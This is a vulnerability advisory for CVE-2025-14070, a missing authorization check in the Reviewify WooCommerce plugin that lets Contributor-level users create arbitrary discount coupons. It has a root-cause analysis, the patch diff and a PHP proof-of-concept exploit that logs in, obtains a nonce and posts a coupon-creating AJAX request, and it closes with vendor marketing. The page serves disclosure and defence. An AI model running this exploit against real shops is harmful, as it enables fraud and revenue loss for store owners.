Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14070: Reviewify <= 1.0.7 – Missing Authorization to Authenticated (Contributor+) Arbitrary WooCommerce Coupon Creation (review-for-discount)

Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 1.0.7
Patched Version 1.0.8
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14070:
The Reviewify WordPress plugin, versions up to and including 1.0.7, contains a missing authorization vulnerability in its AJAX handler. This flaw allows authenticated users with Contributor-level permissions or higher to create arbitrary WooCommerce discount coupons, leading to potential financial loss for the store.

Atomic Edge research identifies the root cause as a missing capability check within the `xswcrd_send_test_email` function. This function is registered as an AJAX handler for both privileged and non-privileged users via the `wp_ajax_xswcrd_send_test_email` hook. The vulnerable code resides in the file `review-for-discount/admin/class-xswcrd-review-discounts-admin.php` at lines 423-461. The function performed a nonce check but did not verify if the current user possessed administrative capabilities before executing coupon creation logic.

Exploitation requires an attacker to have a valid Contributor-level WordPress account. The attacker sends a POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `xswcrd_send_test_email`. The request must include a valid nonce, which Contributor users can obtain from plugin admin pages. The request body contains coupon parameters like `coupon_amount` and `discount_type` within the `data` POST parameter. The plugin’s `xs_send_mail` function, called by the vulnerable handler, processes this data to create a new WooCommerce coupon.

The patch addresses the vulnerability by implementing a capability check. In `class-xswcrd-review-discounts-admin.php`, lines 429-431, the patch adds `if ( ! current_user_can( ‘manage_options’ ) ) { wp_die( ‘Insufficient permissions.’ ); }`. This ensures only users with the `manage_options` capability (typically Administrators) can execute the function. The patch also adds an identical check to the `xs_send_mail` function at lines 605-608. Additional hardening changes include modifying the custom post type registration to use private capabilities (`capability_type` changed to `array( ‘review_discount’, ‘review_discounts’ )`) and adding role capabilities during plugin activation in `class-xswcrd-review-discounts-activator.php`.

Successful exploitation grants attackers the ability to create unlimited WooCommerce discount coupons with arbitrary values and types (percentage or fixed cart discount). Attackers can generate coupons for personal use, distribute them, or deplete store revenue through fraudulent discounts. This directly impacts the store’s financial integrity without requiring administrative access.

Differential between vulnerable and patched code

Code Diff
--- a/review-for-discount/admin/class-xswcrd-review-discounts-admin.php
+++ b/review-for-discount/admin/class-xswcrd-review-discounts-admin.php
@@ -161,22 +161,19 @@
 					'not_found'          => esc_html__( 'No Review Discount found', 'review-for-discount' ),
 					'not_found_in_trash' => esc_html__( 'No Review Discount found in trash', 'review-for-discount' ),
 				),
-				'public'              => true,
+				'public'              => false,
 				'supports'            => array( 'title' ),
 				'show_ui'             => true,
-				'capability_type'     => 'post',
+				'capability_type'     => array( 'review_discount', 'review_discounts' ),
+				'map_meta_cap'        => true,
 				'show_in_menu'        => true,
 				'menu_icon'           => 'dashicons-awards',
-				'map_meta_cap'        => true,
-				'publicly_queryable'  => true,
-				'exclude_from_search' => false,
+				'publicly_queryable'  => false,
+				'exclude_from_search' => true,
 				'hierarchical'        => false,
-				'rewrite'             => array(
-					'slug'       => 'xswc-review-discount',
-					'with_front' => true,
-				),
+				'rewrite'             => false,
 				'query_var'           => false,
-				'has_archive'         => 'false',
+				'has_archive'         => false,

 			)
 		);
@@ -423,9 +420,15 @@
 	 * @since 1.0.0
 	 */
 	public function xswcrd_send_test_email() {
+		// Verify nonce for CSRF protection.
 		if ( ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ?? '' ) ), 'xswcrd_test_email' ) ) {
 			wp_die( 'Security check failed.' );
 		}
+
+		// Verify user has admin capabilities - fixes CVE-2025-14070.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( 'Insufficient permissions.' );
+		}
 		global $current_user;
 		$email_common_strings = new XSWCRD_Review_Discounts_Email_Strings( $this->wc_review_discounts, $this->version );
 		$email_strings        = $email_common_strings->get_email_strings();
@@ -599,6 +602,12 @@
 	 * @since 1.0.0
 	 */
 	public function xs_send_mail() {
+		// Verify user has admin capabilities.
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json( array( 'status' => false ) );
+			wp_die();
+		}
+
 		$data = array();
 		if ( isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'xswcrd_test_email' ) && isset( $_POST['data'] ) && ! empty( $_POST['data'] ) ) {
 			parse_str( sanitize_text_field( wp_unslash( $_POST['data'] ) ), $data );
--- a/review-for-discount/includes/class-xswcrd-review-discounts-activator.php
+++ b/review-for-discount/includes/class-xswcrd-review-discounts-activator.php
@@ -29,6 +29,29 @@
 	 * @since    1.0.0
 	 */
 	public static function xswcrd_activate() {
+		$roles = array( 'administrator', 'shop_manager' );
+
+		$caps = array(
+			'edit_review_discount',
+			'read_review_discount',
+			'delete_review_discount',
+			'edit_review_discounts',
+			'edit_others_review_discounts',
+			'publish_review_discounts',
+			'read_private_review_discounts',
+			'delete_review_discounts',
+		);
+
+		foreach ( $roles as $role_name ) {
+			$role = get_role( $role_name );
+			if ( ! $role ) {
+				continue;
+			}
+
+			foreach ( $caps as $cap ) {
+				$role->add_cap( $cap );
+			}
+		}
 		$default_settings = array(
 			'enable'               => 'on',
 			'email_notices'        => array( '1', '2', '3', '4' ),
--- a/review-for-discount/includes/class-xswcrd-review-discounts.php
+++ b/review-for-discount/includes/class-xswcrd-review-discounts.php
@@ -66,8 +66,8 @@
 	 * @since    1.0.0
 	 */
 	public function __construct() {
-		if ( defined( 'WC_REVIEW_DISCOUNTS_VERSION' ) ) {
-			$this->version = WC_REVIEW_DISCOUNTS_VERSION;
+		if ( defined( 'XSWCRD_REVIEW_DISCOUNTS_VERSION' ) ) {
+			$this->version = XSWCRD_REVIEW_DISCOUNTS_VERSION;
 		} else {
 			$this->version = '1.0.0';
 		}
--- a/review-for-discount/photo-review-diagnostic.php
+++ b/review-for-discount/photo-review-diagnostic.php
@@ -1,106 +0,0 @@
-<?php
-/**
- * Photo Review Diagnostic Script
- *
- * This script helps diagnose common issues with the photo review functionality
- * Run this by adding ?photo_debug=1 to any product page URL while logged in as admin
- *
- * @link              https://xfinitysoft.com
- * @since             1.0.0
- * @package           WC_Review_Discounts
- */
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-if ( ! is_admin() && ! current_user_can( 'manage_options' ) ) {
-	return;
-}
-//phpcs:ignore
-if ( ! isset( $_GET['photo_debug'] ) || '1' !== sanitize_text_field( $_GET['photo_debug'] ) ) {
-	return;
-}
-
-echo '<div style="background: #fff; padding: 20px; border: 1px solid #ddd; margin: 20px 0;">';
-echo '<h2>Photo Review Diagnostic Report</h2>';
-
-// Check if photo reviews are enabled.
-$xswcrd_settings = get_option( 'xswcrd_photo_settings', array() );
-echo '<h3>Settings Status:</h3>';
-echo '<ul>';
-echo '<li><strong>Photo Reviews Enabled:</strong> ' . ( empty( $xswcrd_settings ) || ( isset( $xswcrd_settings['enable_photo_review'] ) && 'on' === $xswcrd_settings['enable_photo_review'] ) ? 'YES' : 'NO' ) . '</li>';
-echo '<li><strong>Max Files:</strong> ' . ( isset( $xswcrd_settings['max_files'] ) ? esc_html( $xswcrd_settings['max_files'] ) : '3 (default)' ) . '</li>';
-echo '<li><strong>Edit Enabled:</strong> ' . ( isset( $xswcrd_settings['enable_edit'] ) && 'on' === $xswcrd_settings['enable_edit'] ? 'YES' : 'NO' ) . '</li>';
-echo '<li><strong>Voting Enabled:</strong> ' . ( isset( $xswcrd_settings['enable_voting'] ) && 'on' === $xswcrd_settings['enable_voting'] ? 'YES' : 'NO' ) . '</li>';
-echo '</ul>';
-
-// Check file upload capabilities.
-echo '<h3>Server Configuration:</h3>';
-echo '<ul>';
-echo '<li><strong>Upload Max Filesize:</strong> ' . esc_html( ini_get( 'upload_max_filesize' ) ) . '</li>';
-echo '<li><strong>Post Max Size:</strong> ' . esc_html( ini_get( 'post_max_size' ) ) . '</li>';
-echo '<li><strong>Max File Uploads:</strong> ' . esc_html( ini_get( 'max_file_uploads' ) ) . '</li>';
-echo '<li><strong>Memory Limit:</strong> ' . esc_html( ini_get( 'memory_limit' ) ) . '</li>';
-echo '</ul>';
-
-// Check if required files exist.
-echo '<h3>Required Files:</h3>';
-$xswcrd_required_files = array(
-	'Photo Reviews Class'   => plugin_dir_path( __DIR__ ) . 'includes/class-wc-photo-reviews.php',
-	'Photo Reviews CSS'     => plugin_dir_path( __DIR__ ) . 'public/css/wc-photo-reviews-public.css',
-	'Photo Reviews JS'      => plugin_dir_path( __DIR__ ) . 'public/js/wc-photo-reviews-public.js',
-	'Photo Reviews Summary' => plugin_dir_path( __DIR__ ) . 'public/partials/photo-reviews-summary.php',
-	'Admin Display'         => plugin_dir_path( __DIR__ ) . 'admin/partials/wc-photo-reviews-admin-display.php',
-);
-
-echo '<ul>';
-foreach ( $xswcrd_required_files as $xswcrd_name => $xswcrd_path ) {
-	echo '<li><strong>' . esc_html( $xswcrd_name ) . ':</strong> ' . ( file_exists( $xswcrd_path ) ? 'EXISTS' : '<span style="color:red;">MISSING</span>' ) . '</li>';
-}
-echo '</ul>';
-
-// Check WordPress media settings.
-echo '<h3>WordPress Media Settings:</h3>';
-echo '<ul>';
-$xswcrd_upload_dir = wp_upload_dir();
-echo '<li><strong>Upload Directory:</strong> ' . ( $xswcrd_upload_dir['error'] ? '<span style="color:red;">' . esc_html( $xswcrd_upload_dir['error'] ) . '</span>' : esc_html( $xswcrd_upload_dir['path'] ) ) . '</li>';
-//phpcs:ignore
-echo '<li><strong>Directory Writable:</strong> ' . ( is_writable( $xswcrd_upload_dir['path'] ) ? 'YES' : '<span style="color:red;">NO</span>' ) . '</li>';
-echo '</ul>';
-
-// Check for JavaScript errors (simple check).
-echo '<h3>JavaScript Check:</h3>';
-echo '<script>';
-echo 'console.log("Photo Review Debug: jQuery available -", typeof jQuery !== "undefined");';
-echo 'console.log("Photo Review Debug: PhotoReviews object -", typeof PhotoReviews !== "undefined");';
-echo 'console.log("Photo Review Debug: xswcrd_photo_ajax -", typeof xswcrd_photo_ajax !== "undefined");';
-echo '</script>';
-echo '<p><em>Check browser console for JavaScript diagnostic messages.</em></p>';
-
-// Test photo review statistics.
-global $wpdb;
-//phpcs:ignore
-$total_reviews = $wpdb->get_var( "SELECT COUNT(*) FROM {$wpdb->comments} WHERE comment_type = 'review' AND comment_approved = '1'" );
-//phpcs:ignore
-$photo_reviews = $wpdb->get_var( "SELECT COUNT(DISTINCT comment_id) FROM {$wpdb->commentmeta} WHERE meta_key = 'xswcrd_review_media_id'" );
-
-echo '<h3>Review Statistics:</h3>';
-echo '<ul>';
-echo '<li><strong>Total Reviews:</strong> ' . intval( $total_reviews ) . '</li>';
-echo '<li><strong>Reviews with Media:</strong> ' . intval( $photo_reviews ) . '</li>';
-echo '</ul>';
-
-// Quick fix suggestions.
-echo '<h3>Common Solutions:</h3>';
-echo '<ol>';
-echo '<li><strong>Enable Photo Reviews:</strong> Go to WooCommerce → Review Discounts → Photo Reviews and enable the feature.</li>';
-echo '<li><strong>Check File Permissions:</strong> Ensure wp-content/uploads directory is writable (755 or 777).</li>';
-echo '<li><strong>Clear Cache:</strong> Clear any caching plugins and browser cache.</li>';
-echo '<li><strong>JavaScript Errors:</strong> Check browser console for errors and resolve conflicts with other plugins.</li>';
-echo '<li><strong>Theme Compatibility:</strong> Ensure your theme supports WooCommerce review forms properly.</li>';
-echo '<li><strong>Server Limits:</strong> Increase PHP upload limits if files are being rejected.</li>';
-echo '</ol>';
-
-echo '<p><em>This diagnostic can be run by adding ?photo_debug=1 to any product page URL while logged in as admin.</em></p>';
-echo '</div>';
--- a/review-for-discount/review-for-review.php
+++ b/review-for-discount/review-for-review.php
@@ -14,7 +14,7 @@
  * @wordpress-plugin
  * Plugin Name:       Reviewify — Review Discounts & Photo/Video Reviews for WooCommerce
  * Description:       Give customers discount coupons for reviews via automated emails and enable photo and video reviews for WooCommerce.
- * Version:           1.0.7
+ * Version:           1.0.8
  * Author:            XfinitySoft
  * Author URI:        https://xfinitysoft.com/
  * Text Domain:       review-for-discount
@@ -23,7 +23,7 @@
  * Requires at least: 5.0
  * Tested up to: 6.9
  * WC requires at least: 5.0.
- * WC tested up to: 10.2
+ * WC tested up to: 10.4
  * License: GPLv2 or later
  * License URI: https://www.gnu.org/licenses/gpl-2.0.html
  */
@@ -52,11 +52,8 @@
 	}
 );

-if ( ! defined( 'WC_REVIEW_DISCOUNTS_VERSION' ) ) {
-	define( 'WC_REVIEW_DISCOUNTS_VERSION', '1.0.6' );
-}
 if ( ! defined( 'XSWCRD_REVIEW_DISCOUNTS_VERSION' ) ) {
-	define( 'XSWCRD_REVIEW_DISCOUNTS_VERSION', '1.0.6' );
+	define( 'XSWCRD_REVIEW_DISCOUNTS_VERSION', '1.0.8' );
 }
 if ( ! defined( 'XSWCRD_ROOT_URL' ) ) {
 	define( 'XSWCRD_ROOT_URL', plugins_url( '', __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14070 - Reviewify <= 1.0.7 - Missing Authorization to Authenticated (Contributor+) Arbitrary WooCommerce Coupon Creation

<?php
// Configuration
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate to WordPress and obtain session cookies
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Visit the plugin's admin page to harvest a valid nonce.
// The nonce 'xswcrd_test_email' is required for the AJAX call.
// This step assumes the Contributor user can access a page where the nonce is exposed.
$admin_page_url = str_replace('admin-ajax.php', 'admin.php?page=xswcrd-review-discounts', $target_url);
curl_setopt($ch, CURLOPT_URL, $admin_page_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

// Extract nonce from page HTML (simplified example; actual implementation requires parsing).
// For this PoC, we assume the nonce was found and stored.
$nonce = 'EXTRACTED_NONCE_HERE'; // Replace with actual extracted nonce value.

// Step 3: Craft and send the malicious AJAX request to create a coupon.
$post_data = array(
    'action' => 'xswcrd_send_test_email',
    'nonce' => $nonce,
    // The 'data' parameter contains URL-encoded coupon creation parameters.
    'data' => 'coupon_amount=50&discount_type=percent&coupon_expiry=2026-12-31&email_subject=Test'
);

curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . htmlspecialchars($response) . "n";
// A successful exploit will trigger coupon creation via the plugin's internal functions.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School